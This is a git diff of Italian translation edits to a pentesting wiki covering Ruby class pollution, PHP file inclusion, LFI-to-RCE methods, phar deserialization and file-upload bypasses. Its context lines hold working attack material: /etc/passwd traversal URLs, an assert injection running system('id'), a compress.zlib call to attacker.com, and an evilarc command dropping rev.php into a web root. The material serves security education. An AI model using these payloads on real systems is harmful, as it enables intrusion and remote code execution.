metodi personalizzati (come `"puts 1"`), `instance_eval` lo eseguirà, portando a **remote code execution (RCE)**. +1. **Privilegi di Escalation**: Il metodo `authorize` verifica se `to_s` restituisce "Admin." Iniettando un nuovo attributo `to_s` tramite JSON, un attaccante può far restituire al metodo `to_s` "Admin," concedendo privilegi non autorizzati. +2. **Esecuzione Remota di Codice**: In `health_check`, `instance_eval` esegue i metodi elencati in `protected_methods`. Se un attaccante inietta nomi di metodi personalizzati (come `"puts 1"`), `instance_eval` lo eseguirà, portando a **esecuzione remota di codice (RCE)**. 1. Questo è possibile solo perché c'è un **istruzione `eval` vulnerabile** che esegue il valore stringa di quell'attributo. 3. **Limitazione dell'Impatto**: Questa vulnerabilità colpisce solo singole istanze, lasciando altre istanze di `User` e `Admin` non colpite, limitando così l'ambito di sfruttamento. @@ -168,11 +168,11 @@ end ``` ### Hashie’s `deep_merge` -Il metodo `deep_merge` di Hashie opera direttamente sugli attributi degli oggetti piuttosto che su hash semplici. **Impedisce la sostituzione dei metodi** con attributi in un merge con alcune **eccezioni**: gli attributi che terminano con `_`, `!` o `?` possono ancora essere uniti all'oggetto. +Il metodo `deep_merge` di Hashie opera direttamente sugli attributi degli oggetti piuttosto che su hash semplici. **Impedisce la sostituzione dei metodi** con gli attributi in un merge con alcune **eccezioni**: gli attributi che terminano con `_`, `!` o `?` possono ancora essere uniti all'oggetto. Un caso speciale è l'attributo **`_`** da solo. Solo `_` è un attributo che di solito restituisce un oggetto `Mash`. E poiché fa parte delle **eccezioni**, è possibile modificarlo. -Controlla il seguente esempio di come passando `{"_": "Admin"}` si riesca a bypassare `_.to_s == "Admin"`: +Controlla il seguente esempio su come passando `{"_": "Admin"}` si riesce a bypassare `_.to_s == "Admin"`: ```ruby require 'json' require 'hashie' diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 738366dff..73152e128 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -57,7 +57,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Evitare di aggiungere più caratteri alla fine della stringa fornita (bypass di: $\_GET\['param']."php") +Ignora l'aggiunta di più caratteri alla fine della stringa fornita (bypass di: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` @@ -222,13 +222,13 @@ I filtri PHP consentono di eseguire **operazioni di modifica di base sui dati** - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv..`). Per ottenere la **lista di tutte le codifiche** supportate eseguire nel terminale: `iconv -l` +- `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv..`). Per ottenere la **lista di tutte le codifiche** supportate, esegui nel terminale: `iconv -l` > [!WARNING] -> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o per fare una funzione come includere testo arbitrario. Per ulteriori informazioni controlla [**LFI2RCE tramite filtri php**](lfi2rce-via-php-filters.md). +> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o per fare una funzione come includere testo arbitrario. Per ulteriori informazioni, controlla [**LFI2RCE tramite filtri php**](lfi2rce-via-php-filters.md). - [Filtri di Compressione](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: Comprimi il contenuto (utile se si esfiltrano molte informazioni) +- `zlib.deflate`: Comprimi il contenuto (utile se si esfiltra una grande quantità di informazioni) - `zlib.inflate`: Decomprime i dati - [Filtri di Crittografia](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : Obsoleto @@ -352,9 +352,9 @@ Per compilare il file `.phar`, il seguente comando deve essere eseguito: ```bash php --define phar.readonly=0 create_path.php ``` -Al momento dell'esecuzione, verrà creato un file chiamato `test.phar`, che potrebbe essere sfruttato per sfruttare vulnerabilità di Local File Inclusion (LFI). +Al momento dell'esecuzione, verrà creato un file chiamato `test.phar`, che potrebbe essere sfruttato per sfruttare le vulnerabilità di Local File Inclusion (LFI). -Nei casi in cui l'LFI esegue solo la lettura dei file senza eseguire il codice PHP al suo interno, attraverso funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, potrebbe essere tentato lo sfruttamento di una vulnerabilità di deserializzazione. Questa vulnerabilità è associata alla lettura di file utilizzando il protocollo `phar`. +Nei casi in cui l'LFI esegue solo la lettura dei file senza eseguire il codice PHP al loro interno, attraverso funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, potrebbe essere tentato lo sfruttamento di una vulnerabilità di deserializzazione. Questa vulnerabilità è associata alla lettura di file utilizzando il protocollo `phar`. Per una comprensione dettagliata dello sfruttamento delle vulnerabilità di deserializzazione nel contesto dei file `.phar`, fare riferimento al documento collegato qui sotto: @@ -378,10 +378,10 @@ Controlla più possibili [**protocollo da includere qui**](https://www.php.net/m - [file://](https://www.php.net/manual/en/wrappers.file.php) — Accesso al filesystem locale - [http://](https://www.php.net/manual/en/wrappers.http.php) — Accesso a URL HTTP(s) - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accesso a URL FTP(s) -- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Stream di compressione +- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flussi di compressione - [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trova nomi di percorso che corrispondono a un modello (non restituisce nulla di stampabile, quindi non è davvero utile qui) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 -- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Stream audio (non utile per leggere file arbitrari) +- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flussi audio (non utile per leggere file arbitrari) ## LFI tramite 'assert' di PHP @@ -399,18 +399,18 @@ Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe usare: ```plaintext ' and die(system("id")) or ' ``` -È importante **URL-encoded questi payload**. +È importante **URL-encode questi payload**. ## PHP Blind Path Traversal > [!WARNING] -> Questa tecnica è rilevante nei casi in cui **controlli** il **percorso del file** di una **funzione PHP** che **accederà a un file** ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) ma il contenuto non è mostrato. +> Questa tecnica è rilevante nei casi in cui **controlli** il **percorso del file** di una **funzione PHP** che **accederà a un file** ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) ma il contenuto non viene mostrato. -In [**questo incredibile post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) viene spiegato come un blind path traversal può essere abusato tramite il filtro PHP per **esfiltrare il contenuto di un file tramite un errore oracle**. +In [**questo incredibile post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) viene spiegato come un blind path traversal può essere abusato tramite un filtro PHP per **esfiltrare il contenuto di un file tramite un errore oracle**. In sintesi, la tecnica utilizza la **codifica "UCS-4LE"** per rendere il contenuto di un file così **grande** che la **funzione PHP che apre** il file attiverà un **errore**. -Poi, per rivelare il primo carattere, il filtro **`dechunk`** è usato insieme ad altri come **base64** o **rot13** e infine i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** sono usati per **posizionare altri caratteri all'inizio e rivelarli**. +Poi, per rivelare il primo carattere, il filtro **`dechunk`** viene utilizzato insieme ad altri come **base64** o **rot13** e infine i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** vengono utilizzati per **posizionare altri caratteri all'inizio e rivelarli**. **Funzioni che potrebbero essere vulnerabili**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (solo target in sola lettura con questo)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` @@ -429,7 +429,7 @@ Se il server Apache o Nginx è **vulnerabile a LFI** all'interno della funzione > [!WARNING] > Nota che **se usi virgolette doppie** per la shell invece di **virgolette semplici**, le virgolette doppie verranno modificate per la stringa "_**quote;**_", **PHP genererà un errore** lì e **nient'altro verrà eseguito**. > -> Inoltre, assicurati di **scrivere correttamente il payload** o PHP genererà un errore ogni volta che prova a caricare il file di log e non avrai una seconda opportunità. +> Inoltre, assicurati di **scrivere correttamente il payload** o PHP genererà un errore ogni volta che cerca di caricare il file di log e non avrai una seconda opportunità. Questo potrebbe essere fatto anche in altri log ma **fai attenzione,** il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'intestazione **autorizzazione "basic"** contiene "user:password" in Base64 ed è decodificata all'interno dei log. La PHPShell potrebbe essere inserita all'interno di questa intestazione.\ Altri possibili percorsi di log: @@ -492,7 +492,7 @@ Imposta il cookie su `` ``` login=1&user=&pass=password&lang=en_us.php ``` -Usa il LFI per includere il file di sessione PHP +Usa l'LFI per includere il file di sessione PHP ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` @@ -549,7 +549,7 @@ via-php_session_upload_progress.md ### Via temp file uploads in Windows -Se hai trovato un **Local File Inclusion** e il server è in esecuzione su **Windows** potresti ottenere RCE: +Se hai trovato un **Local File Inclusion** e il server è in esecuzione in **Windows** potresti ottenere RCE: {{#ref}} lfi2rce-via-temp-file-uploads.md @@ -580,7 +580,7 @@ lfi2rce-via-phpinfo.md ### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Se hai trovato un **Local File Inclusion** e **puoi esfiltrare il percorso** del file temporaneo MA il **server** sta **controllando** se il **file da includere ha marcatori PHP**, puoi provare a **bypassare quel controllo** con questa **Race Condition**: +Se hai trovato un **Local File Inclusion** e **puoi esfiltrare il percorso** del file temporaneo MA il **server** sta **controllando** se il **file da includere ha segni PHP**, puoi provare a **bypassare quel controllo** con questa **Race Condition**: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md @@ -588,7 +588,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md ### Via eternal waiting + bruteforce -Se puoi abusare del LFI per **caricare file temporanei** e far **bloccarsi** l'esecuzione di PHP sul server, potresti quindi **forzare i nomi dei file per ore** per trovare il file temporaneo: +Se puoi abusare del LFI per **caricare file temporanei** e far **bloccarsi** l'esecuzione di PHP, potresti quindi **forzare i nomi dei file per ore** per trovare il file temporaneo: {{#ref}} lfi2rce-via-eternal-waiting.md @@ -599,7 +599,7 @@ lfi2rce-via-eternal-waiting.md Se includi uno dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso due volte per generare quell'errore). **Non so quanto sia utile, ma potrebbe esserlo.**\ -&#xNAN;_E anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono eliminati._ +&#xNAN;_E anche se causate un errore fatale di PHP, i file temporanei caricati vengono eliminati._
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md b/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md index 70b586bf8..dd99be1cc 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md @@ -10,7 +10,7 @@ Questo significa che una chiamata come: ```php file_get_contents("compress.zlib://http://attacker.com/file") ``` -Invierà una richiesta chiedendo http://attacker.com/file, quindi il server potrebbe rispondere alla richiesta con una risposta HTTP valida, mantenere la connessione aperta e inviare dati extra qualche tempo dopo che verranno anch'essi scritti nel file. +Invierà una richiesta per http://attacker.com/file, quindi il server potrebbe rispondere alla richiesta con una risposta HTTP valida, mantenere la connessione aperta e inviare dati extra qualche tempo dopo che verranno anch'essi scritti nel file. Puoi vedere queste informazioni in questa parte del codice php-src in main/streams/cast.c: ```c diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md index 2dd68726b..ad8038d1c 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md @@ -63,22 +63,22 @@ Facciamo un po' di conti: - (senza cifre) 19770609664 / 2980 / 10 / 3600 \~= 185h (50% di probabilità in 93h) > [!WARNING] -> Nota che nell'esempio precedente stiamo **completamente DoSando altri clienti**! +> Nota che nell'esempio precedente stiamo **completamente DoSing altri clienti**! Se il server Apache è migliorato e potessimo abusare di **4000 connessioni** (metà del numero massimo). Potremmo creare `3999*20 = 79980` **file** e il **numero** sarebbe **ridotto** a circa **19.7h** o **6.9h** (10h, 3.5h 50% di probabilità). ## PHP-FMP -Se invece di utilizzare il modulo php regolare per apache per eseguire script PHP la **pagina web sta utilizzando** **PHP-FMP** (questo migliora l'efficienza della pagina web, quindi è comune trovarlo), c'è qualcos'altro che può essere fatto per migliorare la tecnica. +Se invece di utilizzare il modulo php regolare per apache per eseguire script PHP, la **pagina web sta utilizzando** **PHP-FMP** (questo migliora l'efficienza della pagina web, quindi è comune trovarlo), c'è qualcos'altro che può essere fatto per migliorare la tecnica. PHP-FMP consente di **configurare** il **parametro** **`request_terminate_timeout`** in **`/etc/php//fpm/pool.d/www.conf`**.\ Questo parametro indica la quantità massima di secondi **quando** **la richiesta a PHP deve terminare** (infinito per impostazione predefinita, ma **30s se il parametro è decommentato**). Quando una richiesta viene elaborata da PHP per il numero di secondi indicato, viene **terminata**. Questo significa che, se la richiesta stava caricando file temporanei, poiché il **processo php è stato interrotto**, quei **file non verranno eliminati**. Pertanto, se riesci a far durare una richiesta quel tempo, puoi **generare migliaia di file temporanei** che non verranno eliminati, il che **accelera il processo di trovarli** e riduce la probabilità di un DoS per la piattaforma consumando tutte le connessioni. -Quindi, per **evitare DoS** supponiamo che un **attaccante utilizzerà solo 100 connessioni** contemporaneamente e il tempo massimo di elaborazione php per **php-fmp** (`request_terminate_timeout`**)** è **30s**. Pertanto, il numero di **file temporanei** che possono essere generati **al secondo** è `100*20/30 = 66.67`. +Quindi, per **evitare DoS**, supponiamo che un **attaccante utilizzerà solo 100 connessioni** contemporaneamente e il tempo massimo di elaborazione php per **php-fmp** (`request_terminate_timeout`**)** è **30s**. Pertanto, il numero di **file temporanei** che possono essere generati **al secondo** è `100*20/30 = 66.67`. Quindi, per generare **10000 file** un attaccante avrebbe bisogno di: **`10000/66.67 = 150s`** (per generare **100000 file** il tempo sarebbe **25min**). -Quindi, l'attaccante potrebbe utilizzare quelle **100 connessioni** per eseguire una **ricerca brute-force**. \*\*\*\* Supponendo una velocità di 300 req/s il tempo necessario per sfruttare questo è il seguente: +Quindi, l'attaccante potrebbe utilizzare quelle **100 connessioni** per eseguire una **ricerca brute-force**. \*\*\*\* Supponendo una velocità di 300 req/s, il tempo necessario per sfruttare questo è il seguente: - 56800235584 / 10000 / 300 / 3600 \~= **5.25 ore** (50% di probabilità in 2.63h) - (con 100000 file) 56800235584 / 100000 / 300 / 3600 \~= **0.525 ore** (50% di probabilità in 0.263h) diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index eee1e1fbf..8e2cd0f9f 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -17,7 +17,7 @@ Il ciclo per generare contenuti arbitrari è: 1. premere `\x1b$)C` alla nostra stringa come descritto sopra 2. applicare una catena di conversioni iconv che lascia intatta la nostra base64 iniziale e converte la parte che abbiamo appena premuto in una stringa dove l'unico carattere base64 valido è la parte successiva del nostro codice php codificato in base64 -3. decodificare in base64 e ricodificare in base64 la stringa, il che rimuoverà qualsiasi spazzatura nel mezzo +3. decodificare in base64 e ricodificare la stringa che rimuoverà qualsiasi spazzatura nel mezzo 4. Tornare al punto 1 se la base64 che vogliamo costruire non è ancora finita 5. decodificare in base64 per ottenere il nostro codice php diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md index 1c2444f3d..8665d94be 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md @@ -26,7 +26,7 @@ In **linux** il nome del file di solito è **random** e si trova in **/tmp**. Po **phpinfo()** -**PHP** utilizza un buffer di **4096B** e quando è **pieno**, viene **inviato al client**. Quindi il client può **inviare** **molte richieste grandi** (utilizzando intestazioni grandi) **caricando un php** reverse **shell**, aspettare che **la prima parte del phpinfo() venga restituita** (dove si trova il nome del file temporaneo) e provare ad **accedere al file temporaneo** prima che il server php elimini il file sfruttando una vulnerabilità LFI. +**PHP** utilizza un buffer di **4096B** e quando è **pieno**, viene **inviato al client**. Quindi il client può **inviare** **molte richieste grandi** (utilizzando intestazioni grandi) **caricando un php** reverse **shell**, aspettare che **la prima parte di phpinfo() venga restituita** (dove si trova il nome del file temporaneo) e provare ad **accedere al file temporaneo** prima che il server php elimini il file sfruttando una vulnerabilità LFI. **Script Python per provare a forzare il nome (se la lunghezza = 6)** ```python diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md b/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md index 14a5571de..812cc72e8 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md @@ -23,7 +23,7 @@ Inoltre, il processo di sfruttamento è semplificato sui sistemi Windows. Una pe ``` http://site/vuln.php?inc=c:\windows\temp\php<< ``` -In alcune situazioni, potrebbe essere necessaria una maschera più specifica (come `php1<<` o `phpA<<`). Si possono provare sistematicamente queste maschere per scoprire il file temporaneo caricato. +In certe situazioni, potrebbe essere necessaria una maschera più specifica (come `php1<<` o `phpA<<`). Si possono provare sistematicamente queste maschere per scoprire il file temporaneo caricato. #### Sfruttamento su Sistemi GNU/Linux diff --git a/src/pentesting-web/file-inclusion/phar-deserialization.md b/src/pentesting-web/file-inclusion/phar-deserialization.md index 1334a146c..49e616f58 100644 --- a/src/pentesting-web/file-inclusion/phar-deserialization.md +++ b/src/pentesting-web/file-inclusion/phar-deserialization.md @@ -4,9 +4,9 @@ -I file **Phar** (PHP Archive) **contengono metadati in formato serializzato**, quindi, quando vengono analizzati, questi **metadati** vengono **deserializzati** e puoi provare ad abusare di una vulnerabilità di **deserializzazione** all'interno del codice **PHP**. +**I file** Phar (PHP Archive) **contengono metadati in formato serializzato**, quindi, quando vengono analizzati, questi **metadati** vengono **deserializzati** e puoi provare ad abusare di una vulnerabilità di **deserializzazione** all'interno del codice **PHP**. -La cosa migliore di questa caratteristica è che questa deserializzazione avverrà anche utilizzando funzioni PHP che non valutano codice PHP come **file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize()**. +La cosa migliore di questa caratteristica è che questa deserializzazione avverrà anche utilizzando funzioni PHP che non eseguono codice PHP come **file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize()**. Quindi, immagina una situazione in cui puoi far sì che un web PHP ottenga la dimensione di un file arbitrario utilizzando il protocollo **`phar://`**, e all'interno del codice trovi una **classe** simile alla seguente: ```php:vunl.php @@ -50,7 +50,7 @@ $object = new AnyClass('whoami'); $phar->setMetadata($object); $phar->stopBuffering(); ``` -Nota come i **byte magici di JPG** (`\xff\xd8\xff`) siano aggiunti all'inizio del file phar per **bypassare** le **possibili** restrizioni sui **caricamenti** di file.\ +Nota come i **byte magici di JPG** (`\xff\xd8\xff`) sono aggiunti all'inizio del file phar per **bypassare** le **possibili** restrizioni sui **caricamenti** di file.\ **Compila** il file `test.phar` con: ```bash php --define phar.readonly=0 create_phar.php diff --git a/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md b/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md index fba286622..06211f7b4 100644 --- a/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md +++ b/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md @@ -29,7 +29,7 @@ Nel [**CTF originale**](https://blog.orange.tw/2018/10/) dove questa tecnica è A causa dell'impostazione predefinita di `session.upload_progress.prefix`, il nostro **file di SESSION inizierà con un prefisso fastidioso** `upload_progress_` Come: `upload_progress_controlledcontentbyattacker` -Il trucco per **rimuovere il prefisso iniziale** era di **base64encode il payload 3 volte** e poi decodificarlo tramite i filtri `convert.base64-decode`, questo perché quando **decodifichi in base64 PHP rimuoverà i caratteri strani**, quindi dopo 3 volte **solo** il **payload** **inviato** dall'attaccante **rimarrà** (e poi l'attaccante può controllare la parte iniziale). +Il trucco per **rimuovere il prefisso iniziale** era di **base64codificare il payload 3 volte** e poi decodificarlo tramite i filtri `convert.base64-decode`, questo perché quando **PHP decodifica in base64 rimuoverà i caratteri strani**, quindi dopo 3 volte **solo** il **payload** **inviato** dall'attaccante **rimarrà** (e poi l'attaccante può controllare la parte iniziale). Ulteriori informazioni nel writeup originale [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) e exploit finale [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\ Un altro writeup in [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index db745021a..6664e375e 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -44,7 +44,7 @@ Altre estensioni utili: 5. Aggiungi **un altro livello di estensioni** al controllo precedente: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Prova a mettere l'**estensione exec prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione\*\* _**.php**_**, ma** non necessariamente che termina in .php\*\* eseguirà codice): +6. Prova a mettere l'**estensione exec prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione **_**.php**_**, ma** non necessariamente che termina in .php** eseguirà codice): - _es: file.php.png_ 7. Usando **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, un carattere due punti “:” verrà inserito dopo un'estensione vietata e prima di una consentita. Di conseguenza, un **file vuoto con l'estensione vietata** verrà creato sul server (es. “file.asax:.jpg”). Questo file potrebbe essere modificato in seguito utilizzando altre tecniche come l'uso del suo nome breve. Il pattern “**::$data**” può anche essere usato per creare file non vuoti. Pertanto, aggiungere un carattere punto dopo questo pattern potrebbe anche essere utile per bypassare ulteriori restrizioni (es. “file.asp::$data.”) 8. Prova a superare i limiti del nome del file. L'estensione valida viene tagliata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php @@ -68,11 +68,11 @@ AAA<--SNIP 232 A-->AAA.php.png `exiftool -Comment="' >> img.png` -- Se **la compressione viene aggiunta alla tua immagine**, ad esempio utilizzando alcune librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, potresti usare il **PLTE chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**. +- Se **la compressione viene aggiunta alla tua immagine**, ad esempio utilizzando alcune librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi utilizzare il **PLTE chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**. - [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- La pagina web potrebbe anche **ridimensionare** l'**immagine**, utilizzando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, potresti usare il **IDAT chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**. +- La pagina web potrebbe anche **ridimensionare** l'**immagine**, utilizzando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi utilizzare il **IDAT chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**. - [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, utilizzando la funzione PHP-GD `thumbnailImage`. Tuttavia, potresti usare il **tEXt chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**. +- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, utilizzando la funzione PHP-GD `thumbnailImage`. Tuttavia, puoi utilizzare il **tEXt chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**. - [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) ### Other Tricks to check @@ -82,7 +82,7 @@ AAA<--SNIP 232 A-->AAA.php.png - **Possibile divulgazione di informazioni**: 1. Carica **più volte** (e **allo stesso tempo**) lo **stesso file** con lo **stesso nome** 2. Carica un file con il **nome** di un **file** o **cartella** che **esiste già** -3. Caricando un file con **“.”, “..”, o “…” come nome**. Ad esempio, in Apache in **Windows**, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome del file “.” creerà un file chiamato “uploads” nella directory “/www/”. +3. Caricando un file con **“.”, “..”, o “…” come suo nome**. Ad esempio, in Apache in **Windows**, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome file “.” creerà un file chiamato “uploads” nella directory “/www/”. 4. Carica un file che potrebbe non essere facilmente eliminato come **“…:.jpg”** in **NTFS**. (Windows) 5. Carica un file in **Windows** con **caratteri non validi** come `|<>*?”` nel suo nome. (Windows) 6. Carica un file in **Windows** utilizzando **nomi riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9. @@ -219,7 +219,7 @@ tar -cvf test.tar symindex.txt ``` ### Decomprimere in cartelle diverse -La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversata delle directory del formato ZIP possono essere sfruttati. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione mirata. +La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversata delle directory del formato ZIP possono essere sfruttati. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione target. Un exploit automatizzato per creare tali file è disponibile su [**evilarc su GitHub**](https://github.com/ptoomey3/evilarc). L'utilità può essere utilizzata come mostrato: ```python @@ -228,7 +228,7 @@ python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Inoltre, il **trucco del symlink con evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo garantisce che evilarc non incontri errori durante il suo funzionamento. +Inoltre, il **trucco del symlink con evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo assicura che evilarc non incontri errori durante il suo funzionamento. Di seguito è riportato un esempio di codice Python utilizzato per creare un file zip malevolo: ```python @@ -279,7 +279,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (forma dell' [exploit](https://www.exploit-db.com/exploits/39767)) +Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (forma l'[exploit](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 @@ -298,9 +298,9 @@ Maggiore informazione in: [https://www.idontplaydarts.com/2012/06/encoding-web-s I file poliglotti servono come 